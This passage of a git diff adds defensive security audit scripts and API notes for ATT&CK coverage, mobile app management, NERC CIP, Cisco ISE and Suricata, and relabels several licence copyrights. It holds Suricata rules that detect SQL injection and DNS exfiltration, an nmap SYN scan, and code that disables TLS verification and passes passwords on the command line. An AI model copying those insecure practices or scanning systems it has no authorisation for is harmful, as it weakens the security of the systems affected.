== "high" else 1, x["tactic"])) + + +def calculate_detection_depth(technique_rules): + """Assess detection depth per technique (number of rules covering it).""" + depth = {} + for tech, rules in technique_rules.items(): + enabled_rules = [r for r in rules if r["enabled"]] + data_sources = list(set(r["data_source"] for r in enabled_rules if r["data_source"])) + depth[tech] = { + "total_rules": len(rules), + "enabled_rules": len(enabled_rules), + "data_sources": data_sources, + "depth": "deep" if len(enabled_rules) >= 3 else "moderate" if len(enabled_rules) >= 2 else "shallow", + } + return depth + + +def generate_navigator_layer(technique_rules, tactic_coverage): + """Generate ATT&CK Navigator layer JSON.""" + techniques = [] + for tech_id, rules in technique_rules.items(): + score = min(len(rules), 4) + techniques.append({ + "techniqueID": tech_id, + "score": score, + "comment": f"{len(rules)} detection rules", + "enabled": True, + }) + layer = { + "name": "Detection Coverage", + "versions": {"attack": "14", "navigator": "4.9.1", "layer": "4.5"}, + "domain": "enterprise-attack", + "techniques": techniques, + "gradient": {"colors": ["#ffffff", "#66b1ff", "#0044cc"], "minValue": 0, "maxValue": 4}, + } + return layer + + +def generate_report(rules, technique_rules, unmapped, tactic_coverage, depth): + total_techniques_covered = len(technique_rules) + total_rules = len(rules) + report = { + "timestamp": datetime.utcnow().isoformat(), + "total_detection_rules": total_rules, + "mapped_rules": total_rules - len(unmapped), + "unmapped_rules": len(unmapped), + "techniques_covered": total_techniques_covered, + "tactic_coverage": tactic_coverage, + "detection_depth_summary": { + "deep": sum(1 for d in depth.values() if d["depth"] == "deep"), + "moderate": sum(1 for d in depth.values() if d["depth"] == "moderate"), + "shallow": sum(1 for d in depth.values() if d["depth"] == "shallow"), + }, + "priority_gaps": identify_priority_gaps(tactic_coverage)[:20], + } + return report + + +def main(): + parser = argparse.ArgumentParser(description="MITRE ATT&CK Coverage Mapping Agent") + parser.add_argument("--rules", required=True, help="JSON file with detection rules and ATT&CK mappings") + parser.add_argument("--matrix", help="ATT&CK matrix JSON (techniques per tactic)") + parser.add_argument("--navigator-output", help="Output ATT&CK Navigator layer JSON") + parser.add_argument("--output", default="attack_coverage_report.json") + args = parser.parse_args() + + rules = load_detection_rules(args.rules) + attack_matrix = load_attack_matrix(args.matrix) if args.matrix else {t: [] for t in ENTERPRISE_TACTICS} + + technique_rules, unmapped = map_rules_to_techniques(rules) + tactic_coverage = calculate_coverage(technique_rules, attack_matrix) + depth = calculate_detection_depth(technique_rules) + report = generate_report(rules, technique_rules, unmapped, tactic_coverage, depth) + + if args.navigator_output: + layer = generate_navigator_layer(technique_rules, tactic_coverage) + with open(args.navigator_output, "w") as f: + json.dump(layer, f, indent=2) + logger.info("Navigator layer saved to %s", args.navigator_output) + + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + logger.info("Coverage: %d techniques covered by %d rules", len(technique_rules), len(rules)) + print(json.dumps(report, indent=2, default=str)) + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-mobile-application-management/LICENSE b/skills/implementing-mobile-application-management/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-mobile-application-management/LICENSE +++ b/skills/implementing-mobile-application-management/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-mobile-application-management/references/api-reference.md b/skills/implementing-mobile-application-management/references/api-reference.md new file mode 100644 index 00000000..f0f5d56d --- /dev/null +++ b/skills/implementing-mobile-application-management/references/api-reference.md @@ -0,0 +1,41 @@ +# API Reference: Implementing Mobile Application Management + +## Microsoft Intune MAM API (Graph) + +```python +import requests +headers = {"Authorization": "Bearer "} +# List MAM policies +policies = requests.get( + "https://graph.microsoft.com/v1.0/deviceAppManagement/managedAppPolicies", + headers=headers).json() +# List managed apps +apps = requests.get( + "https://graph.microsoft.com/v1.0/deviceAppManagement/managedAppRegistrations", + headers=headers).json() +``` + +## MAM Policy Settings + +| Setting | Recommended | Description | +|---------|------------|-------------| +| pinRequired | true | Require app PIN | +| encryptAppData | true | Encrypt app data | +| dataBackupBlocked | true | Block iCloud/Google backup | +| screenCaptureBlocked | true | Block screenshots | +| managedBrowserRequired | true | Force managed browser | +| maxPinRetries | 5 | Wipe after failures | + +## Conditional Launch Settings + +| Condition | Action | Value | +|-----------|--------|-------| +| Jailbreak/root | Block | true | +| Min OS version | Warn/Block | 16.0 | +| Offline wipe | Wipe | 30 days | +| Max PIN retries | Wipe | 5 | + +### References + +- Intune MAM: https://learn.microsoft.com/en-us/mem/intune/apps/app-protection-policy +- Graph API MAM: https://learn.microsoft.com/en-us/graph/api/resources/intune-mam-conceptual diff --git a/skills/implementing-mobile-application-management/scripts/agent.py b/skills/implementing-mobile-application-management/scripts/agent.py new file mode 100644 index 00000000..507be15a --- /dev/null +++ b/skills/implementing-mobile-application-management/scripts/agent.py @@ -0,0 +1,146 @@ +#!/usr/bin/env python3 +"""Mobile Application Management Agent - audits MDM policies, app inventory, and compliance posture.""" + +import json +import argparse +import logging +import subprocess +from collections import defaultdict +from datetime import datetime + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + + +def mdm_api_request(base_url, token, endpoint, method="GET"): + """Execute MDM API request via curl.""" + cmd = ["curl", "-s", "-X", method, + "-H", f"Authorization: Bearer {token}", + "-H", "Accept: application/json", + f"{base_url}{endpoint}"] + result = subprocess.run(cmd, capture_output=True, text=True) + return json.loads(result.stdout) if result.stdout else {} + + +def get_managed_devices(base_url, token): + """Get all managed devices.""" + return mdm_api_request(base_url, token, "/api/v1/devices") + + +def get_managed_apps(base_url, token): + """Get managed application inventory.""" + return mdm_api_request(base_url, token, "/api/v1/apps") + + +def get_compliance_policies(base_url, token): + """Get device compliance policies.""" + return mdm_api_request(base_url, token, "/api/v1/compliance/policies") + + +def get_app_protection_policies(base_url, token): + """Get MAM app protection policies.""" + return mdm_api_request(base_url, token, "/api/v1/app-protection-policies") + + +def audit_device_compliance(devices): + """Audit device compliance status.""" + compliant = 0 + non_compliant = 0 + issues = defaultdict(int) + for device in devices: + if device.get("compliance_state") == "compliant": + compliant += 1 + else: + non_compliant += 1 + for issue in device.get("compliance_issues", []): + issues[issue] += 1 + return { + "total_devices": len(devices), + "compliant": compliant, + "non_compliant": non_compliant, + "compliance_rate": round(compliant / max(len(devices), 1) * 100, 1), + "top_issues": dict(sorted(issues.items(), key=lambda x: x[1], reverse=True)[:10]), + } + + +def audit_app_security(apps): + """Audit managed app security configuration.""" + findings = [] + for app in apps: + app_name = app.get("name", "unknown") + if not app.get("managed"): + findings.append({"app": app_name, "issue": "unmanaged_app", "severity": "medium"}) + if app.get("data_sharing_allowed"): + findings.append({"app": app_name, "issue": "data_sharing_enabled", "severity": "high"}) + if not app.get("encryption_required"): + findings.append({"app": app_name, "issue": "encryption_not_required", "severity": "high"}) + if not app.get("pin_required"): + findings.append({"app": app_name, "issue": "no_app_pin", "severity": "medium"}) + if app.get("allow_backup_to_cloud"): + findings.append({"app": app_name, "issue": "cloud_backup_allowed", "severity": "medium"}) + return findings + + +def audit_protection_policies(policies): + """Audit MAM protection policy configuration.""" + results = [] + for policy in policies: + checks = { + "data_transfer_restricted": policy.get("restrict_cut_copy_paste", False), + "save_as_blocked": policy.get("block_save_as", False), + "screen_capture_blocked": policy.get("block_screen_capture", False), + "managed_browser_required": policy.get("require_managed_browser", False), + "min_os_version_set": bool(policy.get("minimum_os_version")), + "jailbreak_detection": policy.get("block_jailbroken", False), + "offline_grace_period_set": bool(policy.get("offline_interval")), + } + passed = sum(1 for v in checks.values() if v) + results.append({ + "policy_name": policy.get("name", "unknown"), + "platform": policy.get("platform", "unknown"), + "checks": checks, + "score": round(passed / max(len(checks), 1) * 100, 1), + }) + return results + + +def generate_report(devices, apps, policies, protection_policies): + device_audit = audit_device_compliance(devices) + app_findings = audit_app_security(apps) + policy_audit = audit_protection_policies(protection_policies) + report = { + "timestamp": datetime.utcnow().isoformat(), + "device_compliance": device_audit, + "app_security_findings": len(app_findings), + "high_severity_findings": len([f for f in app_findings if f["severity"] == "high"]), + "app_findings_detail": app_findings[:20], + "protection_policy_audit": policy_audit, + "overall_mam_score": round( + sum(p["score"] for p in policy_audit) / max(len(policy_audit), 1), 1), + } + return report + + +def main(): + parser = argparse.ArgumentParser(description="Mobile Application Management Audit Agent") + parser.add_argument("--mdm-url", required=True, help="MDM/UEM API base URL") + parser.add_argument("--token", required=True, help="API bearer token") + parser.add_argument("--output", default="mam_audit_report.json") + args = parser.parse_args() + + devices = get_managed_devices(args.mdm_url, args.token) + apps = get_managed_apps(args.mdm_url, args.token) + policies = get_compliance_policies(args.mdm_url, args.token) + protection = get_app_protection_policies(args.mdm_url, args.token) + report = generate_report(devices, apps, policies, protection) + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + logger.info("MAM audit: %d devices (%.1f%% compliant), %d app findings, MAM score %.1f%%", + report["device_compliance"]["total_devices"], + report["device_compliance"]["compliance_rate"], + report["app_security_findings"], report["overall_mam_score"]) + print(json.dumps(report, indent=2, default=str)) + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-mtls-for-zero-trust-services/LICENSE b/skills/implementing-mtls-for-zero-trust-services/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-mtls-for-zero-trust-services/LICENSE +++ b/skills/implementing-mtls-for-zero-trust-services/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-nerc-cip-compliance-controls/LICENSE b/skills/implementing-nerc-cip-compliance-controls/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-nerc-cip-compliance-controls/LICENSE +++ b/skills/implementing-nerc-cip-compliance-controls/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-nerc-cip-compliance-controls/references/api-reference.md b/skills/implementing-nerc-cip-compliance-controls/references/api-reference.md new file mode 100644 index 00000000..807a47fe --- /dev/null +++ b/skills/implementing-nerc-cip-compliance-controls/references/api-reference.md @@ -0,0 +1,39 @@ +# API Reference: Implementing NERC CIP Compliance Controls + +## NERC CIP Standards Summary + +| Standard | Title | Focus | +|----------|-------|-------| +| CIP-002 | BES Cyber System Categorization | Asset identification | +| CIP-003 | Security Management Controls | Policies, delegation | +| CIP-004 | Personnel and Training | Background checks, training | +| CIP-005 | Electronic Security Perimeters | Network boundaries, remote access | +| CIP-006 | Physical Security | Physical access controls | +| CIP-007 | Systems Security Management | Ports, patches, malware, logging | +| CIP-008 | Incident Reporting | Incident response plan | +| CIP-009 | Recovery Plans | Backup, recovery testing | +| CIP-010 | Configuration and Vulnerability | Baselines, vulnerability assessment | +| CIP-011 | Information Protection | BES Cyber System Information | +| CIP-013 | Supply Chain Risk Management | Vendor risk assessment | + +## CIP-005 ESP Requirements + +| Requirement | Description | +|-------------|-------------| +| R1 | Define and document ESP boundaries | +| R1.3 | Deny-by-default firewall rules | +| R2 | MFA for interactive remote access | +| R2.3 | Encrypt remote sessions | + +## CIP-007 Patching Timeline + +| Impact Level | Patch Cycle | +|-------------|-------------| +| High | 35 days from availability | +| Medium | 35 days from availability | +| Low | Documented mitigation plan | + +### References + +- NERC CIP Standards: https://www.nerc.com/pa/Stand/Pages/CIPStandards.aspx +- NERC CIP v5/v7: https://www.nerc.com/pa/CI/tpv5impmntnstdy/Pages/default.aspx diff --git a/skills/implementing-nerc-cip-compliance-controls/scripts/agent.py b/skills/implementing-nerc-cip-compliance-controls/scripts/agent.py new file mode 100644 index 00000000..a95a22ae --- /dev/null +++ b/skills/implementing-nerc-cip-compliance-controls/scripts/agent.py @@ -0,0 +1,147 @@ +#!/usr/bin/env python3 +"""NERC CIP Compliance Agent - audits critical infrastructure against NERC CIP standards.""" + +import json +import argparse +import logging +import subprocess +from datetime import datetime +from collections import defaultdict + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + +NERC_CIP_CONTROLS = { + "CIP-002": {"name": "BES Cyber System Categorization", "checks": [ + "asset_inventory_complete", "impact_ratings_assigned", "annual_review_documented" + ]}, + "CIP-003": {"name": "Security Management Controls", "checks": [ + "cyber_security_policy_exists", "senior_manager_designated", "delegation_documented" + ]}, + "CIP-004": {"name": "Personnel and Training", "checks": [ + "security_awareness_training", "role_based_training", "personnel_risk_assessment", + "access_revocation_process" + ]}, + "CIP-005": {"name": "Electronic Security Perimeters", "checks": [ + "esp_defined", "eap_controls_configured", "remote_access_encrypted", + "interactive_remote_access_mfa" + ]}, + "CIP-006": {"name": "Physical Security", "checks": [ + "physical_security_plan", "visitor_control_program", "psp_access_monitoring" + ]}, + "CIP-007": {"name": "System Security Management", "checks": [ + "ports_services_minimized", "patch_management_process", "malware_prevention", + "security_event_monitoring", "system_access_controls" + ]}, + "CIP-008": {"name": "Incident Reporting and Response", "checks": [ + "incident_response_plan", "incident_response_testing", "reporting_procedures" + ]}, + "CIP-009": {"name": "Recovery Plans", "checks": [ + "recovery_plans_exist", "backup_procedures", "recovery_testing_annual" + ]}, + "CIP-010": {"name": "Configuration Change Management", "checks": [ + "baseline_configurations", "change_management_process", "vulnerability_assessments" + ]}, + "CIP-011": {"name": "Information Protection", "checks": [ + "information_classification", "bcsi_protection", "bcsi_disposal" + ]}, + "CIP-013": {"name": "Supply Chain Risk Management", "checks": [ + "supply_chain_plan", "vendor_risk_assessment", "vendor_notification_process" + ]}, +} + + +def check_esp_controls(target_ip=None): + """Check Electronic Security Perimeter controls via network scan.""" + findings = [] + if target_ip: + cmd = ["nmap", "-sS", "-p", "1-1024", "--open", target_ip, "-oX", "-"] + result = subprocess.run(cmd, capture_output=True, text=True) + open_ports = result.stdout.count("state=\"open\"") + if open_ports > 10: + findings.append({"control": "CIP-005", "issue": f"{open_ports} open ports on ESP boundary", + "severity": "high"}) + return findings + + +def check_system_hardening(): + """Check CIP-007 system hardening controls.""" + findings = [] + svc_cmd = ["systemctl", "list-units", "--type=service", "--state=running", "--no-pager"] + result = subprocess.run(svc_cmd, capture_output=True, text=True) + service_count = len([l for l in result.stdout.split("\n") if ".service" in l]) + if service_count > 50: + findings.append({"control": "CIP-007-R1", "issue": f"{service_count} running services (minimize unused)", + "severity": "medium"}) + patch_cmd = ["apt", "list", "--upgradable"] if subprocess.run(["which", "apt"], capture_output=True).returncode == 0 else ["yum", "check-update"] + result = subprocess.run(patch_cmd, capture_output=True, text=True) + pending = len([l for l in result.stdout.split("\n") if l.strip() and not l.startswith("Listing")]) + if pending > 0: + findings.append({"control": "CIP-007-R2", "issue": f"{pending} pending security patches", + "severity": "high"}) + return findings + + +def audit_compliance_status(evidence_file=None): + """Audit compliance status against all NERC CIP controls.""" + evidence = {} + if evidence_file: + with open(evidence_file) as f: + evidence = json.load(f) + results = {} + for cip_id, control in NERC_CIP_CONTROLS.items(): + check_results = {} + for check in control["checks"]: + status = evidence.get(cip_id, {}).get(check, "not_assessed") + check_results[check] = status + passed = sum(1 for v in check_results.values() if v == "pass") + total = len(check_results) + results[cip_id] = { + "name": control["name"], + "checks": check_results, + "passed": passed, + "total": total, + "compliance_rate": round(passed / max(total, 1) * 100, 1), + } + return results + + +def generate_report(compliance, esp_findings, hardening_findings): + total_checks = sum(r["total"] for r in compliance.values()) + total_passed = sum(r["passed"] for r in compliance.values()) + all_findings = esp_findings + hardening_findings + report = { + "timestamp": datetime.utcnow().isoformat(), + "framework": "NERC CIP v6/v7", + "overall_compliance_rate": round(total_passed / max(total_checks, 1) * 100, 1), + "total_controls_assessed": total_checks, + "total_passed": total_passed, + "cip_standard_results": compliance, + "technical_findings": all_findings, + "high_severity_findings": len([f for f in all_findings if f.get("severity") == "high"]), + } + return report + + +def main(): + parser = argparse.ArgumentParser(description="NERC CIP Compliance Audit Agent") + parser.add_argument("--evidence-file", help="JSON evidence file with control assessment results") + parser.add_argument("--target-ip", help="ESP boundary IP to scan") + parser.add_argument("--skip-hardening", action="store_true", help="Skip system hardening checks") + parser.add_argument("--output", default="nerc_cip_report.json") + args = parser.parse_args() + + compliance = audit_compliance_status(args.evidence_file) + esp_findings = check_esp_controls(args.target_ip) if args.target_ip else [] + hardening = check_system_hardening() if not args.skip_hardening else [] + report = generate_report(compliance, esp_findings, hardening) + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + logger.info("NERC CIP compliance: %.1f%% (%d/%d), %d findings", + report["overall_compliance_rate"], report["total_passed"], + report["total_controls_assessed"], len(report["technical_findings"])) + print(json.dumps(report, indent=2, default=str)) + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-network-access-control-with-cisco-ise/LICENSE b/skills/implementing-network-access-control-with-cisco-ise/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-network-access-control-with-cisco-ise/LICENSE +++ b/skills/implementing-network-access-control-with-cisco-ise/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-network-access-control-with-cisco-ise/references/api-reference.md b/skills/implementing-network-access-control-with-cisco-ise/references/api-reference.md new file mode 100644 index 00000000..80316b50 --- /dev/null +++ b/skills/implementing-network-access-control-with-cisco-ise/references/api-reference.md @@ -0,0 +1,51 @@ +# API Reference: Implementing Network Access Control with Cisco ISE + +## Cisco ISE ERS API + +```python +import requests +resp = requests.get("https://ISE:9060/ers/config/authorizationprofile", + auth=("admin", "password"), + headers={"Accept": "application/json"}, verify=False) +``` + +## Key ERS Endpoints + +| Endpoint | Description | +|----------|-------------| +| `/ers/config/authorizationprofile` | Authorization profiles | +| `/ers/config/networkdevice` | Network devices | +| `/ers/config/endpointgroup` | Endpoint groups | +| `/ers/config/identitygroup` | Identity groups | +| `/ers/config/internaluser` | Internal users | + +## ISE Policy Components + +| Component | Description | +|-----------|-------------| +| Authentication Policy | Protocol selection (EAP-TLS, PEAP) | +| Authorization Policy | Access decisions (permit, deny, quarantine) | +| Profiling Policy | Endpoint classification | +| Posture Policy | Compliance checks (AV, patch level) | + +## 802.1X Authentication Methods + +| Method | Security Level | Use Case | +|--------|---------------|----------| +| EAP-TLS | Highest | Certificate-based corporate | +| PEAP-MSCHAPv2 | High | Username/password | +| MAB | Low | Non-supplicant devices | + +## RADIUS Attributes + +| Attribute | Description | +|-----------|-------------| +| Calling-Station-Id | Client MAC address | +| NAS-IP-Address | Switch/AP IP | +| Tunnel-Type | VLAN assignment | +| Filter-Id | ACL name | + +### References + +- Cisco ISE API: https://developer.cisco.com/docs/identity-services-engine/ +- ISE Admin Guide: https://www.cisco.com/c/en/us/td/docs/security/ise/ diff --git a/skills/implementing-network-access-control-with-cisco-ise/scripts/agent.py b/skills/implementing-network-access-control-with-cisco-ise/scripts/agent.py new file mode 100644 index 00000000..6dd8d58c --- /dev/null +++ b/skills/implementing-network-access-control-with-cisco-ise/scripts/agent.py @@ -0,0 +1,122 @@ +#!/usr/bin/env python3 +"""Cisco ISE NAC Agent - audits ISE policies, endpoint posture, and 802.1X configuration.""" + +import json +import argparse +import logging +import subprocess +from collections import defaultdict +from datetime import datetime + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + + +def ise_request(base_url, username, password, endpoint): + """Execute Cisco ISE ERS API request.""" + cmd = ["curl", "-s", "-k", "-u", f"{username}:{password}", + "-H", "Accept: application/json", + f"{base_url}/ers/config{endpoint}"] + result = subprocess.run(cmd, capture_output=True, text=True) + return json.loads(result.stdout) if result.stdout else {} + + +def get_network_devices(base_url, user, pw): + return ise_request(base_url, user, pw, "/networkdevice?size=100") + + +def get_endpoint_groups(base_url, user, pw): + return ise_request(base_url, user, pw, "/endpointgroup") + + +def get_authorization_policies(base_url, user, pw): + return ise_request(base_url, user, pw, "/authorizationprofile?size=100") + + +def get_active_sessions(base_url, user, pw): + """Get active RADIUS sessions via MnT API.""" + cmd = ["curl", "-s", "-k", "-u", f"{user}:{pw}", + "-H", "Accept: application/json", + f"{base_url}/admin/API/mnt/Session/ActiveList"] + result = subprocess.run(cmd, capture_output=True, text=True) + return json.loads(result.stdout) if result.stdout else {} + + +def audit_authorization_profiles(profiles): + """Audit authorization profiles for security best practices.""" + findings = [] + for profile in profiles.get("SearchResult", {}).get("resources", []): + name = profile.get("name", "") + if "permit" in name.lower() and "all" in name.lower(): + findings.append({"profile": name, "issue": "overly_permissive_profile", "severity": "high"}) + return findings + + +def analyze_session_data(sessions): + """Analyze active session posture and authentication methods.""" + auth_methods = defaultdict(int) + posture_status = defaultdict(int) + failed_auths = 0 + for session in sessions: + method = session.get("authentication_method", "unknown") + auth_methods[method] += 1 + posture = session.get("posture_status", "unknown") + posture_status[posture] += 1 + if session.get("authentication_status") == "failed": + failed_auths += 1 + return { + "total_sessions": len(sessions), + "auth_methods": dict(auth_methods), + "posture_distribution": dict(posture_status), + "failed_authentications": failed_auths, + } + + +def check_dot1x_compliance(devices): + """Check 802.1X deployment across network devices.""" + device_list = devices.get("SearchResult", {}).get("resources", []) + dot1x_enabled = sum(1 for d in device_list if d.get("NetworkDeviceIPList")) + return { + "total_devices": len(device_list), + "dot1x_capable": dot1x_enabled, + "coverage_percent": round(dot1x_enabled / max(len(device_list), 1) * 100, 1), + } + + +def generate_report(devices, profiles, sessions, base_url): + profile_audit = audit_authorization_profiles(profiles) + session_analysis = analyze_session_data(sessions) + dot1x = check_dot1x_compliance(devices) + report = { + "timestamp": datetime.utcnow().isoformat(), + "ise_url": base_url, + "dot1x_deployment": dot1x, + "session_analysis": session_analysis, + "authorization_profile_findings": profile_audit, + "total_findings": len(profile_audit), + } + return report + + +def main(): + parser = argparse.ArgumentParser(description="Cisco ISE NAC Audit Agent") + parser.add_argument("--ise-url", required=True, help="ISE admin URL (https://ise.example.com:9060)") + parser.add_argument("--username", required=True, help="ISE ERS API username") + parser.add_argument("--password", required=True, help="ISE ERS API password") + parser.add_argument("--output", default="ise_nac_report.json") + args = parser.parse_args() + + devices = get_network_devices(args.ise_url, args.username, args.password) + profiles = get_authorization_policies(args.ise_url, args.username, args.password) + sessions = get_active_sessions(args.ise_url, args.username, args.password) + report = generate_report(devices, profiles, sessions, args.ise_url) + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + logger.info("ISE audit: 802.1X coverage %.1f%%, %d active sessions, %d findings", + report["dot1x_deployment"]["coverage_percent"], + report["session_analysis"]["total_sessions"], report["total_findings"]) + print(json.dumps(report, indent=2, default=str)) + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-network-access-control/LICENSE b/skills/implementing-network-access-control/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-network-access-control/LICENSE +++ b/skills/implementing-network-access-control/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-network-intrusion-prevention-with-suricata/LICENSE b/skills/implementing-network-intrusion-prevention-with-suricata/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-network-intrusion-prevention-with-suricata/LICENSE +++ b/skills/implementing-network-intrusion-prevention-with-suricata/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-network-intrusion-prevention-with-suricata/references/api-reference.md b/skills/implementing-network-intrusion-prevention-with-suricata/references/api-reference.md new file mode 100644 index 00000000..c03f1ab2 --- /dev/null +++ b/skills/implementing-network-intrusion-prevention-with-suricata/references/api-reference.md @@ -0,0 +1,107 @@ +# API Reference: Implementing Network Intrusion Prevention with Suricata + +## Suricata Rule Syntax + +``` +action protocol src_ip src_port -> dst_ip dst_port (options;) +``` + +### Actions + +| Action | Mode | Description | +|--------|------|-------------| +| `alert` | IDS/IPS | Generate alert | +| `pass` | IDS/IPS | Stop inspection of packet | +| `drop` | IPS only | Drop packet and generate alert | +| `reject` | IPS only | Send RST/ICMP unreachable + drop | +| `rejectsrc` | IPS only | Send RST/unreachable to source | +| `rejectboth` | IPS only | Send RST/unreachable to both | + +### Example Rules + +``` +# Block known malicious TLS certificate +drop tls $HOME_NET any -> $EXTERNAL_NET any (msg:"Malicious TLS Cert"; tls.cert_subject; content:"CN=badactor.com"; sid:1000001; rev:1;) + +# Detect and drop SQL injection attempts +drop http $EXTERNAL_NET any -> $HOME_NET any (msg:"SQL Injection Attempt"; flow:established,to_server; http.uri; pcre:"/(\%27)|(\')|(\-\-)|(\%23)|(#)/i"; sid:1000002; rev:1;) + +# Alert on DNS exfiltration (long subdomain) +alert dns $HOME_NET any -> any 53 (msg:"DNS Exfiltration Possible"; dns.query; pcre:"/^[a-z0-9]{32,}\./i"; threshold:type both, track by_src, count 10, seconds 60; sid:1000003; rev:1;) +``` + +## suricata-update Commands + +```bash +# Update rule sources +suricata-update update-sources +suricata-update list-sources + +# Enable Emerging Threats Open ruleset +suricata-update enable-source et/open + +# Update rules and reload +suricata-update +suricatasc -c reload-rules +``` + +## Suricata CLI + +```bash +# IDS mode (passive) +suricata -c /etc/suricata/suricata.yaml -i eth0 + +# IPS mode (inline via NFQUEUE) +suricata -c /etc/suricata/suricata.yaml -q 0 + +# Offline PCAP analysis +suricata -c /etc/suricata/suricata.yaml -r capture.pcap -l /var/log/suricata/ + +# Test configuration +suricata -T -c /etc/suricata/suricata.yaml + +# Unix socket control +suricatasc -c reload-rules +suricatasc -c dump-counters +suricatasc -c iface-stat eth0 +``` + +## EVE JSON Log Format + +```json +{ + "timestamp": "2025-01-15T10:30:00.000000+0000", + "event_type": "alert", + "src_ip": "192.168.1.100", + "dest_ip": "10.0.0.5", + "src_port": 52341, + "dest_port": 443, + "proto": "TCP", + "alert": { + "action": "blocked", + "gid": 1, + "signature_id": 2028759, + "rev": 3, + "signature": "ET MALWARE Cobalt Strike Beacon", + "category": "A Network Trojan was detected", + "severity": 1 + } +} +``` + +## Performance Tuning + +| Setting | Default | Recommended (IPS) | +|---------|---------|-------------------| +| `max-pending-packets` | 1024 | 4096-65000 | +| `default-packet-size` | 1514 | 1514 | +| `runmode` | autofp | workers | +| `detect.profile` | medium | high | +| `mpm-algo` | auto | hs (Hyperscan) | + +### References + +- Suricata Docs: https://docs.suricata.io/en/latest/ +- Suricata Rules Format: https://docs.suricata.io/en/latest/rules/intro.html +- ET Open Ruleset: https://rules.emergingthreats.net/open/ +- suricata-update: https://suricata-update.readthedocs.io/en/latest/ diff --git a/skills/implementing-network-intrusion-prevention-with-suricata/scripts/agent.py b/skills/implementing-network-intrusion-prevention-with-suricata/scripts/agent.py new file mode 100644 index 00000000..bb2cf85a --- /dev/null +++ b/skills/implementing-network-intrusion-prevention-with-suricata/scripts/agent.py @@ -0,0 +1,154 @@ +#!/usr/bin/env python3 +"""Suricata IPS Agent - manages rules, analyzes alerts, and tunes Suricata intrusion prevention.""" + +import json +import argparse +import logging +import subprocess +import re +from collections import defaultdict +from datetime import datetime + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + +EVE_LOG = "/var/log/suricata/eve.json" +RULES_DIR = "/etc/suricata/rules" + + +def parse_eve_alerts(log_path, limit=10000): + """Parse Suricata EVE JSON log for alerts.""" + alerts = [] + try: + with open(log_path) as f: + for i, line in enumerate(f): + if i >= limit: + break + try: + event = json.loads(line) + if event.get("event_type") == "alert": + alerts.append({ + "timestamp": event.get("timestamp", ""), + "src_ip": event.get("src_ip", ""), + "dest_ip": event.get("dest_ip", ""), + "src_port": event.get("src_port", 0), + "dest_port": event.get("dest_port", 0), + "proto": event.get("proto", ""), + "signature": event.get("alert", {}).get("signature", ""), + "signature_id": event.get("alert", {}).get("signature_id", 0), + "severity": event.get("alert", {}).get("severity", 0), + "category": event.get("alert", {}).get("category", ""), + "action": event.get("alert", {}).get("action", ""), + }) + except json.JSONDecodeError: + continue + except FileNotFoundError: + logger.warning("EVE log not found: %s", log_path) + return alerts + + +def analyze_alert_distribution(alerts): + """Analyze alert distribution by signature, severity, and source.""" + by_sig = defaultdict(int) + by_severity = defaultdict(int) + by_category = defaultdict(int) + by_src = defaultdict(int) + for alert in alerts: + by_sig[alert["signature"]] += 1 + by_severity[alert["severity"]] += 1 + by_category[alert["category"]] += 1 + by_src[alert["src_ip"]] += 1 + return { + "top_signatures": dict(sorted(by_sig.items(), key=lambda x: x[1], reverse=True)[:15]), + "severity_distribution": dict(by_severity), + "category_distribution": dict(sorted(by_category.items(), key=lambda x: x[1], reverse=True)[:10]), + "top_source_ips": dict(sorted(by_src.items(), key=lambda x: x[1], reverse=True)[:10]), + } + + +def identify_noisy_rules(alerts, threshold=500): + """Identify rules that generate excessive alerts for tuning.""" + sig_counts = defaultdict(int) + sig_info = {} + for alert in alerts: + sid = alert["signature_id"] + sig_counts[sid] += 1 + if sid not in sig_info: + sig_info[sid] = {"signature": alert["signature"], "category": alert["category"]} + noisy = [] + for sid, count in sig_counts.items(): + if count >= threshold: + noisy.append({"sid": sid, "count": count, **sig_info[sid]}) + return 